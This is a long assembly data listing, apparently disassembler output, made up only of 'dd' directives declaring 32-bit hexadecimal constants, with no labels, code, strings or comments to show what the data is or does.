		dd 61011AA7h, 61306AF3h, 0B6482B08h, 0F788E2A5h, 5F6850A8h
		dd 5A8D7888h, 6DDA0BA6h, 0C7941D27h, 756F8DA3h,	6E7DC7C1h
		dd 0E00F4C50h, 8DD12EFAh, 0AF99C3F6h, 15796EDBh, 0D44F71Fh
		dd 0FC28E82h, 0C034887h, 64C50765h, 9DF83EDFh, 62BE0002h
		dd 0E521CC29h, 3A2E591Eh, 3967E8Fh, 5CD303E9h, 0C0F7A485h
		dd 740C5C84h, 65239B52h, 538FE7A2h, 0E5CF3D4Bh,	362B70A4h
		dd 0AA2CDAADh, 0C3F40211h, 787413B2h, 6BE13D5Ah, 5205BFE1h
		dd 4DBD7A5Fh, 2D42C5FBh, 5A03B9FFh, 5FD5E75h, 0C785D3B1h
		dd 19832A21h, 0BA07AFD4h, 908211F0h, 0C3E6265Bh, 4863ECEAh
		dd 0D431AF23h, 74731C7h, 821BB3B2h, 796E5EECh, 24217F54h
		dd 0CB430090h, 0DD8954CFh, 0C9A3476Dh, 0D0741265h, 5F85C82Ch
		dd 658A584Eh, 65691973h, 80EC5EB0h, 60C951A8h, 40F7724Eh
		dd 0B04BCB4h, 398CDA66h, 0DD9CE2D4h, 307D3C59h,	60115E06h
		dd 0CADEE7C9h, 0A9E6B9BAh, 0F86823AFh, 5BF136F1h, 0C784CC86h
		dd 0F686B627h, 977F84A4h, 0C9BA7083h, 97280E49h, 26A0761Ch
		dd 0E823D67Bh, 0A5FB4327h, 0DE414142h, 0EA9EE3ABh, 3AA66BEFh
		dd 8ADC8B4Fh, 0DF0B5876h, 7E7FE3D5h, 0A37FA94Fh, 0DEDA9815h
		dd 71310D93h, 721CBC25h, 3721314Fh, 42D5C4EBh, 0B055D36Ch
		dd 76223D07h, 0C43A854Dh, 1A63ADCAh, 1D4E73BCh,	7A098864h
		dd 0AD7BF992h, 56136474h, 6B173D27h, 707D8471h,	0ABEDBBA7h
		dd 0B3F51018h, 60E6D13Ah, 70D49E8Eh, 0EA99D383h, 10E308D4h
		dd 1F87FDF2h, 9B5C3BA4h, 24318FC1h, 4335251Dh, 0DAB8933Bh
		dd 0FE45834Fh, 0B8EED469h, 50CBC513h, 0CE5773F8h, 3DA61782h
		dd 988F8470h, 74DC0201h, 7713A04h, 4136886Fh, 0CBB3021h
		dd 3A5DC97Ch, 15C70149h, 0D71D48B1h, 81EC43A7h,	4F66FCD0h
		dd 0BB04D667h, 0C2745234h, 0BF473EE5h, 9FBFA6E3h, 52C8221Bh
		dd 8495054Bh, 0B7A3AF71h, 6270DA2Fh, 90553EC6h,	9923B893h
		dd 2709B650h, 0F899528Eh, 2FCF5BB0h, 0F0F87081h, 75E33D62h
		dd 0BCF80632h, 0BEC93039h, 8E750AFCh, 0D430B937h, 0CA3654FBh
		dd 0B3F6866Fh, 9C426C20h, 21B35A82h, 0E484E4D1h, 0E220B61Ch
		dd 2E4E7291h, 6B0B0B9Eh, 11722DCh, 1BE0AB97h, 44CADE7Bh
		dd 0AFB1D11Fh, 0DC43568Ch, 6CADACA9h, 0B7CFF356h, 0CF4202CEh
		dd 21AEFEBBh, 0D528AC0Ch, 1B77726Bh, 0C1BC06A6h, 0A4D60C18h
		dd 0E0474A06h, 85B5E378h, 13E9741Eh, 400DEA52h,	66C8F86Ch
		dd 0A7FA4D8Ch, 9137E47Ah, 762C40ADh, 99D962B0h,	0D7818CCDh
		dd 38E0B271h, 3EE2F0FEh, 0B5C433CCh, 0B1476006h, 3942B5BEh
		dd 0EEA20B6Fh, 60FC2BC5h, 0B4F3F3Dh, 0B8F33C28h, 518B8EFEh
		dd 0EE3A1F12h, 0FB9CE11Ah, 0E06E3960h, 9A1E7FAAh, 556F0F96h
		dd 8A65DE0h, 93895C78h,	0A471D256h, 901001A1h, 7F217726h
		dd 9EC07FADh, 9699A423h, 0B12FC848h, 98064904h,	349E40F9h
		dd 714AAFEh, 0FACBCCEBh, 0C66B7DC2h, 0C742AD23h, 32C9D01Eh
		dd 0A26DD1A4h, 0A60FFCD7h, 316596FDh, 0AC889296h, 8F58DDABh
		dd 8E26CBA9h, 7859FA99h, 0C794F9DCh, 8A72A680h,	0B2C4B251h
		dd 0CC597FBEh, 0F22C3CE1h, 0B2F6C965h, 0D2F8052Bh, 0B04833C9h
		dd 0C5D50BBh, 0BC3EE4CEh, 2BCCA81Eh, 0FDB17E91h, 0C41E7C4Bh
		dd 1145191Ah, 0C48D1204h, 0B33F2F05h, 9E1C5A8Dh, 821C57AEh
		dd 0C2B26561h, 655E383h, 0D8B65860h, 82F2E42Ah,	23987CD2h
		dd 1648E613h, 0F312D586h, 0AB6C85D8h, 0F2C60C9Bh, 5955283Dh
		dd 4B605436h, 0A271BCD0h, 6AD91425h, 4B426FADh,	271C1D08h
		dd 32ACEA92h, 22F73271h, 45AD1408h, 0D34B52E2h,	8E2A0982h
		dd 0B58DD4ABh, 0ABC6B9E1h, 48F2927Ah, 0A0A2FB33h, 3E6F2ED9h
		dd 0DE985F81h, 0A3DE07E5h, 57811BCCh, 195ACE39h, 85E3BC56h
		dd 0C315C049h, 0ABFACE3Eh, 0A448DB80h, 75A4079h, 6F4A52A3h
		dd 74566680h, 3921142Ch, 0D308BAA1h, 0D85E19A1h, 0DB11F9BFh
		dd 6D6D63A2h, 0B45F1C33h, 52BEC0DBh, 4ADE0A04h,	1FB60F92h
		dd 53A08B3Ch, 60F749DEh, 9C84C35h, 5FF6C80Ch, 399E7FCCh
		dd 0DB3C0B5Eh, 318339F9h
		dd 0D6D04168h, 46FBCDB9h, 0C53D5CBFh, 8E891A92h, 9C44C829h
		dd 0B3CE3E68h, 0ED59EE80h, 0D6DF6E91h, 2C882C54h, 0B3182085h
		dd 0CB35E191h, 0A55D59A0h, 832499A7h, 20CA1AB5h, 8CF766B7h
		dd 0F03A92D9h, 15F4E04Bh, 598F8D42h, 3BC779Dh, 352EAEEDh
		dd 3A6A5AF3h, 55735560h, 9F3009Fh, 0B9F7502Fh, 0BEA48B19h
		dd 1FE90261h, 0B059BE6Fh, 0B15FFA11h, 0B66A3089h, 9B209D53h
		dd 2C24359Ah, 86E4AD12h, 0B7A97D89h, 8B16E08Bh,	9CE858D9h
		dd 952BF99Dh, 85D5A993h, 7905AB8Ah, 0B27B0DE1h,	0A6813983h
		dd 69E416CAh, 2D436C98h, 0AD010536h, 5A170C85h,	1681D176h
		dd 0A0180058h, 0ACB37E1Eh, 977B7FCCh, 63B3B5EAh, 36AFC35Eh
		dd 14D544F2h, 45892807h, 2299E644h, 3037248Ch, 0C9A55FA4h
		dd 0BE19190Ch, 0B9D25EFBh, 668C1663h, 0D6859B8Ah, 50B8BD17h
		dd 5D776B28h, 0E020E40Fh, 0BFA03C51h, 9A0DD500h, 0B194CAE1h
		dd 93263986h, 0F9007DE9h, 9C582D44h, 2C278DEEh,	368CE49Ah
		dd 739985ADh, 0A9622038h, 0B5DF86EAh, 2569C145h, 0D0E835CDh
		dd 2240EA21h, 1A4E8BA1h, 0DCEC8FF7h, 0FE77AB8Ah, 30672785h
		dd 3ADA77DAh, 156088CBh, 0E6DA54CAh, 32AF112Dh,	0C131AE80h
		dd 0D22EA7B4h, 0C735AB2Fh, 0D1659292h, 0AAE080DCh, 2CE49E75h
		dd 81D2D46Ah, 15182A1Bh, 6768A50Fh, 50B6BB48h, 812EB7AAh
		dd 0B5914523h, 7D80F6CDh, 4D10B699h, 0CDBE5486h, 848B1BC1h
		dd 0F0791921h, 0C289C89h, 5E49D182h, 0FB483BBCh, 31F14A5Ah
		dd 0E2400354h, 6CE5EF86h, 0D22C207Ah, 0B1BAF616h, 0F2CD206Fh
		dd 310366A1h, 0B78786BAh, 0C7A3AAA0h, 9E1C6E92h, 0E1C94137h
		dd 5EE1C5B0h, 567666AEh, 53520B34h, 0DFF490Ah, 0F78F9813h
		dd 12D386E3h, 4AB157D9h, 72A75846h, 47C50FE8h, 0A616103Ah
		dd 8664E0CFh, 540AAC0Dh, 0CD253C43h, 8ED84415h,	0F6D00C23h
		dd 49613999h, 845E27DFh, 92C33A8Ah, 1F7E1BD9h, 8B5859AEh
		dd 0AC32DE0Ah, 6AD96CD9h, 0F8883951h, 0C8CFAFC4h, 6A607F50h
		dd 0ECEAC533h, 75318362h, 6C9E619Ah, 8C1A3D6Dh,	59F6B019h
		dd 6BB93F71h, 0C66D0C4Ah, 6A413DA0h, 0DA767D70h, 0F11F071Dh
		dd 0E601748Ah, 0D3FCD4DBh, 0E7957D49h, 588B849h, 93B720D7h
		dd 44CE2D2Ah, 9C93D830h, 10A71EDBh, 50FAB089h, 0E2581B84h
		dd 0DD2DDAE6h, 58C0DC56h, 2B3A0C50h, 9AA2107Bh,	411968A9h
		dd 81FDA185h, 0C82EA215h, 6FB93E60h, 93F5D460h,	147250CBh
		dd 0FE31AC43h, 0D4C04943h, 23990B69h, 0F7B1244Fh, 4B80D348h
		dd 299B3755h, 3EF721BCh, 35E4E2E2h, 0D9C58439h,	54E16179h
		dd 0D37CDEC0h, 0DE02CC17h, 0C1E9B671h, 0C981BDE5h, 812A48AAh
		dd 482B3CE9h, 0E52E6E3h, 0B36609AEh, 1193D57Dh,	0C82EEACAh
		dd 73EA2E59h, 958AC2DEh, 0D75E5E33h, 14A59A1Eh,	7B6E2256h
		dd 98D35DBBh, 2C0B2D10h, 0EBBEC94Fh, 39DD8EECh,	0E030FDD6h
		dd 31241855h, 37D7AC0Bh, 5E9F25A7h, 1A9D03AFh, 8F8BCBCh
		dd 36B68075h, 0C6F6858Fh, 43286CA2h, 2A5D6560h,	92DBC9A1h
		dd 0BA9DBEC2h, 0A7587343h, 0E093E9A1h, 209F6E7Eh, 6FB18E75h
		dd 79459F67h, 3B2F7F29h, 1988156Eh, 4EBC5F9Bh, 0F37BFFD4h
		dd 0C04A71A9h, 69ACADC3h, 85A5387Dh, 0D97EDF7Ch, 0C8E20A57h
		dd 41FD7093h, 52DEA3CAh, 1D345252h, 68B2A46Bh, 9AB0E118h
		dd 0ED489A4Eh, 728EAE00h, 8D16B286h, 56E69B1Dh,	0F166EDF9h
		dd 0A9FEFF86h, 4E67578Ah, 9FC9745Ah, 285059Bh, 64352C8Fh
		dd 0E39C541Bh, 0CC362BE7h, 3BCEC7B4h, 0C18C6F8Bh, 0D02F8B17h
		dd 102BA382h, 0A2E21140h, 446DE3DBh, 0A65C4F4Eh, 0C47E43C3h
		dd 36EC33C2h, 6798CF5Dh, 0F0063194h, 0E0F897D9h, 0ABE81E95h
		dd 94B47479h, 17A91C39h, 0AF4BCCAFh, 914B8392h,	0BC1CF631h
		dd 81076AD9h, 65791AE0h, 0F2310612h, 1842852Ah,	82605121h
		dd 2FAFE8A0h, 6D31534Dh, 73B14030h, 20384F79h, 13A6D917h
		dd 7517D78Dh, 1F8C4D4Ch, 0F2A2F7D8h, 50C3FB06h,	7A481310h
		dd 0B0329C73h, 0BB1369B1h, 2919D2EEh, 2350B93Dh, 8D78AF1Ch
		dd 8B96E7F1h, 599460F9h, 99887B14h, 0D53DE59Ah,	0D9FF2DCEh
		dd 0D0072B3Dh, 0EB3996DDh, 94DF3C1Bh, 8B916EF3h, 505FA402h
		dd 4E92D724h, 2ECED60Ah, 8F39E590h, 2005ACD4h, 0A6907CCDh
		dd 0DDEFD625h, 23E64AC7h, 4549C97Bh, 0DEB24A62h, 86990A6Ah
		dd 0B14C8DDDh, 0A54703C6h, 0A5F87515h, 46EC909Ah, 58039B4Dh
		dd 5B0AA74Bh, 0F1EF57E5h, 0A2F5D0Eh, 1B56FF47h,	327C5336h
		dd 0C657A009h, 0AB0B2035h, 0F52BA28Ah, 560AF509h, 0A7C581Ah
		dd 108FD15Bh, 4CBD2ECEh, 24E64854h, 0AB77337Ah,	0A8E4C8ECh
		dd 0DE7CC7EAh, 3E7BDB0h, 8AE35AB4h, 0B6CA54DFh,	24117BFh
		dd 0A8ACED48h, 0CD50AEBEh, 30625135h, 9B484422h, 0A519AEF0h
		dd 0A1A1739Bh, 992B29CCh, 7D286B9Ah, 2603A88h, 6A3081F0h
		dd 217D510Fh, 9ADE5EFCh, 0BF129060h, 659AAEFBh,	22035520h
		dd 0DD67D5B8h, 1C270CB0h, 5955CDB3h, 0F53B561Ah, 0E73CD72Fh
		dd 58C40B3Dh, 6BD513F3h, 6E288871h, 0B8F524C1h,	4C18D71Ch
		dd 622CE774h, 591B43E1h, 1EC848D7h, 0ED7645CFh,	5E6667EBh
		dd 33E9D089h, 0F8594A52h, 7437B3D7h, 0FA228AC7h, 93FAB468h
		dd 0E5609728h, 0EA7E963Fh, 5B02AE5Fh, 0CA6985ADh, 0B48E02Eh
		dd 3CCCD752h, 0A46AAD2Fh, 50B96A5Ah, 902FA9BDh,	7EB4541Ah
		dd 61602F8Ch, 5A4AC7A2h, 0F255188Eh, 2F5CD163h,	17DADEE2h
		dd 22159D9Bh, 0B5CABE5h, 0A981F3ABh, 0EBBF5060h, 0B5324F82h
		dd 5E14684Bh, 0A4B03C78h, 0E5EAA926h, 44B4B53Dh, 1726CEF9h
		dd 0D414B620h, 68BD6352h, 51991C4h, 69D6F7D8h, 0F9CE02D6h
		dd 0E3C76F06h, 0D74AFEADh, 1C08047h, 85E790E4h,	818620B0h
		dd 0F6B3F709h, 0FB3C2044h, 0A18E9ABh, 2866D173h, 7945EB29h
		dd 35CF69EFh, 248DDEAAh, 0CCCB7C01h, 72F0061h, 833786F3h
		dd 0F8FBC924h, 0BDA9C9E3h, 73C9D57Ch, 9C45562Ah, 75F9B7B0h
		dd 0AD275650h, 19ACA2A2h, 4F72CB74h, 81FBE27Ch,	0CD00BA9Dh
		dd 0CDA5398Dh, 668EC656h, 0D67995Ch, 85FA4245h,	94339EACh
		dd 39189212h, 0AD07595Eh, 276A7495h, 12D4AEAAh,	0EA214F5Bh
		dd 2F1257D6h, 0FC01C6B0h, 40E63A67h, 0F6B739E3h, 0B358292h
		dd 2BA04F48h, 0C909CBEBh, 0ED5C8D53h, 11CFFD0Eh, 515949B9h
		dd 33707BDBh, 0F06296B0h, 0A84B5875h, 2602DCBBh, 4873027Dh
		dd 0EBA73E07h, 7B325D99h, 0CFA0326Bh, 674B370Eh, 2DE59AB0h
		dd 0E6379F9Ah, 73EC2DA2h, 0ADB17438h, 26FBAB86h, 0CD84494Ch
		dd 0A905AF6Bh, 0DC8DEEECh, 0C066F19Fh, 5AE138CEh, 0DF830F32h
		dd 3217DAA3h, 441DD07h,	56E4B65Fh, 0CAB819C8h, 0B99A52BCh
		dd 2F66E3DFh, 8F305533h, 63FF7BCBh, 0E42A765Ch,	4138F097h
		dd 103B56ADh, 0FBE58A6h, 7CA348BEh, 7A68B171h, 703C7944h
		dd 5F9C1F15h, 158BD330h, 2F792FAAh, 3DF111CBh, 6BCABDAFh
		dd 0F24B613h, 6EEBD8DAh, 2651C618h, 0DAC98CBh, 1B67133h
		dd 6434F66Ah, 28E459A7h, 551A7D62h, 550F303Dh, 8A1723F9h
		dd 52D9AB1Ch, 0C787AB99h, 3754774h, 7A06BF2Eh, 904426FEh
		dd 983E5161h, 97711A90h, 3B36F90Bh, 52C9D57Ch, 824A9FCh
		dd 0CC22C446h, 0EC14785Dh, 117BF105h, 0A089F03Bh, 8ADD387Bh
		dd 0F9108377h, 0F1A8E0Ch, 6186BF0Bh, 0BFA199FAh, 0EF0B0A07h
		dd 0F8C29248h, 0FFBE0B47h, 0D5DA57BAh, 946A9494h, 0D109B24Ch
		dd 0CF1BB170h, 37D30D39h
		dd 895511BEh, 834C6F83h, 0F95B0FE0h, 0F6046AE1h, 88CC0B92h
		dd 9B180169h, 0AE7B4B61h, 0ACEE1498h, 4D27A59Eh, 0B460B0AFh
		dd 58922469h, 0D0D51D60h, 63184507h, 0E78F1CB2h, 0F932B758h
		dd 42911F55h, 677F8FB9h, 0EF11D527h, 0D896BAD4h, 5315420Dh
		dd 0BAC5CF26h, 195FED7h, 48DAB4C4h, 27F0BB29h, 74AB9974h
		dd 0C8B3AB29h, 0DFFDB1Ch, 2856ED0Eh, 0ADE8F469h, 489C1C8h
		dd 0F8557B50h, 0CDA754CDh, 0E0187372h, 0DCAD3554h, 31552B47h
		dd 0A88AA36Bh, 5424CDADh, 0BD80D898h, 35D534EDh, 4B9256B9h
		dd 5F1DF54Fh, 75CCB893h, 0A87D681Bh, 1F9BF45h, 883C29Fh
		dd 0F0CF96BAh, 0D0B5AE23h, 7BF746B8h, 0D4B2EB4Bh, 57760273h
		dd 8D1CC0B3h, 9D087133h, 8318BA87h, 0FD88C860h,	473D5EA9h
		dd 2195CBBAh, 0CEB21A4Fh, 80D270BFh, 0E5A87CA8h, 1C4B5B59h
		dd 0FD00E08h, 1426E1D4h, 0D05BDB49h, 87B2C809h,	0AF2AF75Bh
		dd 7800455Ah, 8CC6CD13h, 0D46C7532h, 3AD55736h,	0BCF7E1EEh
		dd 4D66B6Dh, 9024E591h,	6138F3A8h, 0FBD67906h, 7F7403C8h
		dd 14AA0B0Eh, 0FBA51464h, 1CC35E08h, 0DFF4D569h, 0D654AC5Dh
		dd 80C86B26h, 41C32C39h, 3811A844h, 45E12185h, 60437557h
		dd 0A7E8F1FAh, 0B4ADC403h, 0C45D8FA9h, 0A1350785h, 27A2FBE5h
		dd 0E75B0C9h, 0F626F168h, 9D9664D9h, 748314EDh,	0C33B0EDFh
		dd 0C7D9706Bh, 4D4D06D6h, 2CB40AFCh, 0E750F04Ch, 0DCB90B70h
		dd 4B406579h, 333B6BDEh, 4BF1DDE9h, 0E37E3177h,	0EBD7101Dh
		dd 0E55818AAh, 0F6A9F4F8h, 76442EBh, 1EC73C63h,	30219C32h
		dd 4A2E3F8Eh, 3B832D13h, 2AA1FE23h, 11073D2Eh, 0F0C0D79Fh
		dd 5B9826C6h, 1E80F599h, 0D75287C2h, 6D083225h,	0C495E491h
		dd 86A0EE6h, 0E58FE44Bh, 0A462E797h, 9897E1FDh,	33043C52h
		dd 0AC2E03Ch, 0E3407B7Ch, 56E77C42h, 0C6243254h, 0C83416A0h
		dd 57E287A3h, 0A3D77F25h, 0CC6ED690h, 99BC5C8Ah, 37242B9Bh
		dd 1EB865B2h, 5BCCB25Fh, 626476E4h, 359B077Eh, 0EDF101DDh
		dd 6B083138h, 9E62E9Dh,	3A925D45h, 1EE74194h, 3E69D6Bh
		dd 0ACD7205Bh, 1F4D37CDh, 92F7A954h, 64D3263Eh,	0EE9D25F1h
		dd 736F58B2h, 2FE4A35Bh, 1C7E903Bh, 0AAE46898h,	4015832Dh
		dd 8D087EB1h, 959463A0h, 8A2D2A62h, 4F026771h, 0C49CC9B5h
		dd 0F59867ACh, 4CF5021Eh, 2F908966h, 6CEC80DFh,	0C66F55ACh
		dd 0CC3EEDBCh, 5E1073F6h, 2EA7D5C7h, 4397C6F0h,	0F3EA53B7h
		dd 54B540F1h, 94EC4C6Ch, 8F6E7090h, 2E03D17Fh, 2B062577h
		dd 2B2C5CBFh, 76169D01h, 6907B29Ah, 0D2F6AA31h,	14AFFDBCh
		dd 0FEE9EC83h, 0AA5D7F23h, 0E78AD5D9h, 0EB5F4E44h, 347FCB7Ch
		dd 0E1F770B7h, 7026741h, 3140F392h, 851F582Dh, 87D687AEh
		dd 0B573C8C6h, 0D0D89163h, 56BEEBDFh, 45D27255h, 0FF424FABh
		dd 8DEE0887h, 5BC394D9h, 890CAFB3h, 40053B83h, 0EDEC20C4h
		dd 8B42EAA7h, 410FB995h, 3FA941AFh, 30526A6Dh, 13126D86h
		dd 8F7481EEh, 0A85AC408h, 0EB1305E8h, 0E395DF11h, 0A1D153EEh
		dd 3923F2FDh, 407FB96Ch, 2C966115h, 2A63B501h, 0CC167CBAh
		dd 3EAE1B04h, 0E8424AB9h, 0CCD79B13h, 8C948387h, 1A9D8527h
		dd 9BFA3DD1h, 89677CB4h, 6B6945EEh, 0FF353759h,	0EA6C736Ah
		dd 987F6624h, 4D0AB9E0h, 0CEA9B2F0h, 0EA614FE5h, 7098640Fh
		dd 0DD6A5413h, 0B0C2F8FCh, 6FB6FBF2h, 0F53806FBh, 0A9927EC2h
		dd 3643F4D9h, 6929A30Ah, 0E9902F61h, 0A7864E88h, 9BF3A53Bh
		dd 0EFB4BBE2h, 9A5CD0E7h, 0F11787A7h, 0C36D72A1h, 272BD33Fh
		dd 682A0150h, 33EABBD7h, 0CE246C40h, 0E9E935D1h, 26C58A29h
		dd 0CC86C39Bh, 0AA37176h, 0DF790CD4h, 0AB6F5E4Eh, 66CA7870h
		dd 80BD91B2h, 7A5D8735h, 425AF73h, 0B77A8492h, 1597E93Dh
		dd 0E001686Eh, 90695948h, 0BBB920F2h, 6B14B633h, 282A3747h
		dd 0C4046E13h, 0F7ED2653h, 0CA0BF3FFh, 0F6598670h, 0F755124h
		dd 33BC83EDh, 1B30E82Dh, 5C51E00h, 437F2DC8h, 1808EEADh
		dd 2807D6CCh, 7BA39F0Ah, 7892FD7Eh, 96625F12h, 0CFA00EA0h
		dd 34F1823Dh, 656267EEh, 24810EE7h, 0B9D489D5h,	0C7FBF728h
		dd 8B7D4F48h, 63852844h, 3BCB7256h, 47B4D1F9h, 0EB67FA1Dh
		dd 17C50E94h, 0DAA645BDh, 29B60079h, 0E6AA8CA6h, 0AB3568AEh
		dd 265677BEh, 0DFA663D5h, 25056F8Eh, 90A9ED1Fh,	0CB788DFBh
		dd 7887B590h, 0DD5DA4Eh, 0C1B64AB8h, 5EDD2C64h,	902E7E83h
		dd 0F17861BEh, 0A55D2FA6h, 458AD30h, 0B9907B4Dh, 988BC123h
		dd 35A91D81h, 64A2A2C5h, 3C762C35h, 0A33A9A0Eh,	3AD78CB3h
		dd 0C71CC8D4h, 0FC39080Eh, 7D2F65B9h, 0FD1D662Fh, 2C511325h
		dd 85105B81h, 0F4FAEC40h, 32A13DB5h, 0A529E1B0h, 18D67F2Eh
		dd 0D8182F85h, 55B5DB7Bh, 944CB794h, 6BAAD358h,	0C7C68E9Bh
		dd 6C3C21C8h, 0F088B0FCh, 7AD34683h, 41BED4C8h,	6152E61Fh
		dd 0EDB9D8E1h, 639A382Eh, 0CC5A9248h, 8AE0FF76h, 0D0F53393h
		dd 0EAF07EA0h, 0E5B93734h, 7FF5A795h, 31710E83h, 0DDD23343h
		dd 0B293800Ah, 50967FF1h, 4524EFE1h, 993062B1h,	635A8CF6h
		dd 0F538ECA4h, 70D27375h, 0A32623Eh, 0DE9556CAh, 10C75F85h
		dd 75F35A9Fh, 0AE844B2Ah, 0BC7E9A4h, 65052888h,	3BD99BB8h
		dd 3CE1FA71h, 96E08247h, 6520C8DEh, 0C140930Ah,	0C97BC86Bh
		dd 4E850D09h, 9B56D87h,	12FEBF68h, 0C8AEF19Eh, 0D8B88421h
		dd 0FCFBB6FAh, 7A70FCE1h, 0C8E1042Ah, 0D5B7D10Ah, 0F838AC7Dh
		dd 0E0A5619Ah, 5114B2A1h, 3A8AC94Eh, 7050D355h,	680B29EEh
		dd 0E48D3D8Dh, 0EE291660h, 645E8ABCh, 0D667187Bh, 0C09D47ABh
		dd 0A0C343ECh, 0A3471806h, 56841EE3h, 834E6948h, 680C4A44h
		dd 92FF0C04h, 2715828Ah, 0F63F64D2h, 0E9C08C8h,	0C05859ADh
		dd 2DF9C61Ch, 0A4421D9Eh, 0D252B9C7h, 47363A5Ah, 3131E9FAh
		dd 72206B9h, 9709653Dh,	3E17C326h, 0B75CA379h, 0CA9E2BF9h
		dd 0B6C8956Ah, 47D806E9h, 0A48DF83Bh, 2B56F7E4h, 33A6FB92h
		dd 466E5A9h, 0D19925FEh, 0AD23A84Ch, 0E6C2A087h, 0D7D1DE2Ch
		dd 91706450h, 7EA8542Dh, 35EB2995h, 0F75194BEh,	7E60866h
		dd 16164B9h, 252CF33h, 7A11EA12h, 1591E6B6h, 0A1FE224Eh
		dd 0F1B456Bh, 0A19E510Eh, 5F97D92Ch, 9539DE36h,	0E6F025CBh
		dd 0CA1F4FABh, 2EE05B8Bh, 7C517718h, 0D9AECBD4h, 0DCB48697h
		dd 0DB8074FEh, 540CC17Fh, 31552F4Fh, 0D5D00285h, 0E0B01872h
		dd 518B08E8h, 0DCF46F21h, 855305B9h, 0E7F11EACh, 140BF3DFh
		dd 3AEAF8BBh, 598AA83Bh, 0FA64E2Ch, 8118D3BAh, 6F3E42B6h
		dd 9B588BEAh, 1FB890D3h, 8E198EDEh, 3799642Fh, 5BF592B3h
		dd 2FB26DB4h, 0FCDD153Bh, 26CDF484h, 0FB9B0DC4h, 5A435A29h
		dd 0E2C44225h, 8679AED4h, 0A28913B6h, 0C7788598h, 40BF6217h
		dd 1CED4CA4h, 5645174Fh, 5DF67BE7h, 1968019Dh, 0A21F84B8h
		dd 0ED4FC260h, 0A014EBA7h, 0C7054D00h, 51AEE70h, 2D5082D7h
		dd 816DB22Eh, 0BA17D4DFh, 0BF9507FAh, 5F14BA07h, 117535EEh
		dd 83CCDFB1h, 719D6D40h, 0EA72006Ah, 17D55194h,	0CED751D3h
		dd 30A733B4h, 87F55150h, 924C10C4h, 99827DB3h, 0A8B4B65Eh
		dd 0E86A8E82h, 98714071h, 0A450F4DFh, 47CC27F8h, 330A3F6h
		dd 0A35AAD9h, 0F40C6215h, 96D613E7h, 3384BAh, 2738A820h
		dd 0E73E9B8Eh, 0D3E4E4B5h, 85686095h, 0FD343787h, 50EBAF39h
		dd 0C7AD25E6h, 0D08748E8h, 1FD31441h, 0DBB623BFh, 0AC4F432Ch
		dd 45A98176h, 342E0B5Eh
		dd 94A289E6h, 6DBEA1D0h, 700F1283h, 70C5AAFh, 64ACC960h
		dd 63BB88D8h, 8BC2591Ah, 84B4DFB7h, 5D8C7250h, 0B35F1815h
		dd 466979A4h, 0EC9FAAA6h, 0FFA789F5h, 366B4AFBh, 57E4CD18h
		dd 17DE4A21h, 0BAF24CB1h, 0A144770Eh, 52C0DA91h, 0F4C3C4ECh
		dd 5738E847h, 0F3F07325h, 0A73856DCh, 70111553h, 0FF20915Eh
		dd 59C259D7h, 0CB419C8Bh, 17EF92A8h, 54C529B6h,	163DCF49h
		dd 476E4D82h, 6D00003h,	6B374A56h, 0C7468548h, 0FE24E8C6h
		dd 4699F8ACh, 0BDCA2FFCh, 0FFE21371h, 0F7EBD1DBh, 0C4173CB4h
		dd 938041CCh, 0C2494A63h, 6234F24Ah, 0FE963BEh,	0EFB6831Ch
		dd 0B1C41010h, 0ABAC6F1h, 0EFDDB4C0h, 0C50B8C6Eh, 0FD1E6A88h
		dd 6162E325h, 8F9CB31Ah, 2C8121D4h, 4F99FD58h, 0C33AD43Fh
		dd 0E1B38DD8h, 1B571332h, 6C5D8C2Ah, 0BED01300h, 77DB0A20h
		dd 0E116AF02h, 0F316E03Fh, 535A86D0h, 6E424323h, 0A1C87251h
		dd 0A2FBFF0Ah, 4A48C751h, 98064760h, 3F791434h,	37577C22h
		dd 8FD7F237h, 25179EE0h, 0B8EC25E6h, 1D9201EAh,	0A72B0B56h
		dd 0C6BFCD7Eh, 0BAE12C9Ah, 0FEF29573h, 0D9D6931Ah, 0B0CB4C9Eh
		dd 0A33685A6h, 0C696E1D3h, 87CD0377h, 0F8EABF0Fh, 0D59B9073h
		dd 4D83F6B7h, 6350A2BFh, 8B56DB8h, 1EA41277h, 358494C8h
		dd 0D74B8703h, 0BAAC7056h, 8CF490B8h, 0C052EBF8h, 0B45847D1h
		dd 307B93C0h, 6BB51ADBh, 23E5CB7Eh, 7C654C8Bh, 56A9EDA9h
		dd 92E7F8ADh, 699A3497h, 7654208h, 4870A843h, 22DAD332h
		dd 61A442B6h, 9824914Eh, 8CD31C82h, 0A5049AC3h,	3A5ACFAh
		dd 0FBCBAFBDh, 4FEDF467h, 0FA738FBh, 5358BD07h,	17FE3CADh
		dd 46B31F4h, 1B1F7D01h,	33CA4530h, 872A1BB4h, 8260A172h
		dd 6503F2DEh, 0E5A47945h, 72271B1Ch, 0A225067Ah, 6E3CEDBBh
		dd 56108F09h, 4DB4CB22h, 1D60BACAh, 0F6E8EAF3h,	0CF7C71F9h
		dd 45D3E376h, 8AE7BF81h, 7AF9FEC1h, 327B88C0h, 7F4FE4A5h
		dd 9A4155BDh, 0B4092668h, 9FB9AD69h, 783DD46Ch,	3281F024h
		dd 0A5E73BEEh, 0C5F19068h, 523737CEh, 0E23F2D8Ch, 0CFB62446h
		dd 0F5DF2E9Ah, 24D402h,	108BA415h, 8A1EEA67h, 80A3CABFh
		dd 4C83CA8Dh, 0B93EA756h, 7D250C5Ah, 9AAD9133h,	0D175963h
		dd 770763D0h, 0AFC9892Fh, 0C068CDC6h, 0DE94BC42h, 9F8392ADh
		dd 7E6FDC16h, 0FA8941FBh, 7676ACFDh, 0FC41B419h, 1807B9B0h
		dd 0E468F81Bh, 82AB1558h, 0A1E3226Fh, 38EB7A1Ah, 47C39F37h
		dd 96E86554h, 4B3FC1E6h, 54849793h, 76881F28h, 0FDE110C5h
		dd 9BB168F4h, 4D70B168h, 0AC4C774Fh, 0BCDE56ACh, 0A8AAA7E1h
		dd 96F0E10h, 19ED37A1h,	77DA32A6h, 8BDE462Dh, 0B4FEE5CEh
		dd 4A3E423Eh, 0CDDF0267h, 314F66F1h, 5BF053CAh,	8504C3Bh
		dd 659868FFh, 0D644F5A3h, 52834801h, 0B84491DFh, 0A7860071h
		dd 5FE96BDAh, 0C8DBEFE3h, 2E687C67h, 0BC0E2956h, 6B952213h
		dd 89FA7B9h, 0B73FC0FDh, 0E5CE1932h, 61B64D52h,	0BF0CB320h
		dd 734DAAADh, 0FD22293Fh, 5CE0EF2Ch, 8A286397h,	0F34241BFh
		dd 46ECF274h, 29ADB706h, 0DE9C8A60h, 0F9E483F6h, 5DC63883h
